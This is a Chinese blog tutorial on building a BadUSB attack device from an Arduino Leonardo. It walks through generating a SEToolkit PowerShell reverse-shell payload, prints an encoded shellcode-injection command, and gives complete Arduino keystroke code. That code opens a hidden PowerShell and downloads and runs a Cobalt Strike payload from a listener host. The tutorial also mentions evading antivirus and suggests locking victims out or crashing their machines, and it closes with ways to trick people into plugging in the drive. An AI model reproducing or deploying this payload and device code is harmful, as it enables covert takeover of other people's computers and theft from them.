成为物理黑客吧!badusb最详细制作教程
badusb是一种几乎可以突破任何杀毒软件和防火墙的设备,堪称渗透测试利器
文章目录
- 成为物理黑客吧!badusb最详细制作教程
- 前言
- 一、什么是badusb?
- 二,badusb的优点
- 三,badusb是如何攻击的?
- 三、准备步骤
- 四,编写代码(重点)
- 五,烧录
- 六,badusb有多强大
BadUSB是《黑客军团》中fsociety组织常用的工具之一,无论是向服务器下载木马控制被害者主机,还是达琳在停车场帅气的扔出大量USB钓鱼,BadUSB都是功不可没的物理武器之一。
。
前言
在2014年美国黑帽大会上,安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为“BadUSB”的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。
一、什么是badusb?
BadUSB 是利用 USB 固件中固有的漏洞的攻击。这种攻击重新编程USB设备,使其充当人机交互设备。一旦重新设计,USB 设备将用于在受害者的计算机上谨慎执行命令或运行恶意程序。
二,badusb的优点
在USB攻击领域,很多年前常用的是老式USB病毒autorun.inf,现在估计随便一个杀毒软件就能把它杀得死死的,与autorun.inf不同,BadUSB是利用了USB协议上的漏洞,通过更改USB的内部固件,在正常的USB接口接入后,模拟外置鼠标、键盘的功能,以此来使目标主机执行已经精心构造好的命令。在此过程中不会引起杀毒软件、防火墙的一丝怀疑。而且因为是在固件级别的应用,U盘格式化根本无法阻止其内部代码的执行。
同样因为是对USB的利用,Windows、Linux、MAC等各类操作系统不必联网下载专用的驱动程序。此外,向bsdusb烧录的程序极为简单,大部分是对键盘按键进行模拟,上手较为容易。
badusb也是社会工程学的一个典型示例,它极大地利用了人们的好奇心,在路边捡到的U盘,估计九成以上的人们都想看看里面有什么东西,而当你插入U盘,攻击就很难再停止下来了。
三,badusb是如何攻击的?
badusb原理
利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击,将USB设备伪装使电脑识别为键盘,再利用USB设备中的微控制芯片,向主机发送命令,从而实现完全控制主机。
HID攻击
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。
漏洞产生原因
现在的USB设备很多,比如语音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。
三、准备步骤
1.设备
制作badusb的几种板子
能够制作badusb的几种常见载体有:Arduino Leonardo、Phison、Teensy、Attiny85、PS2303(芯片)、RUBBER DUCKY等。从专业程度和易用性来讲RUBBER DUCKY最优(Hak5官方提供了许多现成的按键脚本和payload),但价格也最贵。
So,本例选择制作最常见的基于Arduino Leonardo的badusb,淘宝一搜一大把,价格在20~40¥之间
2,编辑器的安装与设置
首先第一步就是要去下载Arduino开发者工具——Arduino IDE。这里是Arduino IDE下载地址:https://www.arduino.cc/en/software,下载安装较为简单,这里不再赘述。安装后打开软件,你将看到如下所示的界面图:
然后打开工具-开发板-开发板管理器:
联网安装Arduino AVR Boards板子:
回到主界面,开发板选择,选择工具-开发板- Arduino Leonardo。编程器选择,AVRISP mkII,如下图所示:
至此,编辑器准备完毕
四,编写代码(重点)
第一种: SEToolkit + badusb实现PowerShell注入攻击
这种方法较为复杂,且需要Linux系统支持
SEToolkit中包含一个PowerShell注入攻击的有效载荷,适用于 Win7 - Win10系统使用,因为PowerShell脚本可以很容易的将ShellCode注入到目标的物理内存中,使用该载荷攻击不会触发病毒报警。
1.Kali系统中默认安装了SEToolkit工具,我们只需要运行该工具,然后从主菜单选择 1) Social-Engineering。
root@kali:~# setoolkit
Select from the menu:
1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
set> 1
2.然后在选择下一级菜单中的 9) PowerShell Attack Vectors。
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) SMS Spoofing Attack Vector
11) Third Party Modules
99) Return back to the main menu.
set> 9
3.接着我们选择第一个选项,Powershell Alphanumeric Shellcode Injector
1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell
3) Powershell Bind Shell
4) Powershell Dump SAM Database
99) Return to Main Menu
set:powershell> 1
4.首先设置好本机的IP地址,我这里是 192.168.1.40 然后等待生成PowerShell脚本,默认放在 /root/.set/reports/powershell/路径下,我们复制里面的内容。
Enter the IPAddress or DNS name for the reverse host: 192.168.1.40
set:powershell> Enter the port for the reverse [443]:
[*] Prepping the payload for delivery and injecting alphanumeric shellcode...
[*] Generating x86-based powershell injection code...
[*] Reverse_HTTPS takes a few seconds to calculate..One moment..
No encoder or badchars specified, outputting raw payload
Payload size: 380 bytes
Final size of c file: 1622 bytes
[*] Finished generating powershell injection bypass.
[*] Encoded to bypass execution restriction policy...
[*] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/
set> Do you want to start the listener now [yes/no]: : yes
5.通过badusb,在被害主机上面执行这一段ShellCode代码。(这是我生成的,每个人的都不一样)
powershell -w 1 -C "sv i -;sv pz ec;sv YD ((gv i).value.toString()+(gv pz).value.toString());powershell (gv YD).value.toString() 'JABOAHgAIAA9ACAAJwAkAEsAcwAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAa'"
如果是基于RUBBER DUCKY的badusb,因为可扩展容量,必要时可以考虑把整个ShellCode连带按键脚本烧入。
如果是像作者这种存储空间有限的基于Arduino Leonardo或其他板子的badusb,可以把ShellCode挂在网上,使用Powershell的DownloadString命令远程下载并执行payload。优点是所需空间小,普适性强,而且耗时比上一种方法快N倍(几千个字符的差距)。
经作者实践,在获得meterpreter会话后,只有Windows defender会检测并杀掉powershell进程。基于国内使用Windows defender的人数,大可不必担心攻击失败(当然还是尽快迁移进程为妙)
第二种:Cobalt Strike + badusb 实现PowerShell注入攻击
这种方法windows,Linux,甚至是Mac也能用,且操作较为简单
Cobalt Strike是美国Red Team开发的一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。
Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
首先我们安装Cobalt Strike,这里需要用到一台有公网ip的服务器,也可以使用端口映射,甚至直接server和client都在本机(针对内网),我用到的是CobaltStrike4.0。
上图为Cobalt Strike运行界面
然后依次选择Attacks → Web Drive-by → Scripted Web Delivery(S)
操作正确会出现上面的界面
然后选择 Listener,点击Launch后Cobalt Strike就会创建一个内容为ShellCode的网站页面,同时会生成Powershell注入代码(不是ShellCode,ShellCode在网站上)
然后的过程也不用我讲了,无非就是按键脚本执行Powershell注入代码
五,烧录
写好代码后,点击左上角的那个对号进行编译,没有报错信息一般就是成功了:
下面是我写的Cobalt Strike的badusb代码,通用所有基于Arduino Leonardo的badusb
#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(1080);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(736);
Keyboard.print("POWERSHELL.EXE -NOP -W HIDDEN -C ");
Keyboard.print('"');
Keyboard.print("iex ((NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING('HTTP://192.168.1.2:80/A'))");
Keyboard.println('"');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
}
void loop() {
}
192.168.1.2:80换成你自己的Listener
代码大体的意思是:
插入badusb后等待1.08秒,
切换大写绕开输入法
按下Windows+R打开运行
输入Powershell注入代码
回车
关闭大写
其实代码写起来不难,关键看我们自己要实现什么效果,比如先把对方开机密码先改了,然后在用各种颜色刷遍命令行,给对方一种美的享受,最后再开开心心的关掉对方桌面进程,当然能蓝屏的还是先蓝屏比较好。
六,badusb有多强大
最常见的基于Arduino Leonardo的badusb,上图没有经过任何伪装时的样子
这是经过伪装后的badusb,俨然就是一个普通的U盘。
攻击场景
①社工攻击
小姐姐,我的U盘插我的电脑显示不出来,你能帮我看看你的电脑可以吗?
②带有USB接口的终端机
找到USB接口怼进去,插谁谁怀孕
③把badusb“不小心”掉落在某个显眼的地方(甚至可以在上面贴一个标签,如“学习资料”)
同事:这里怎么有个U盘?插上去看看有没有小姐姐~
其他应用场景自行脑补,欢迎评论分享
# 总结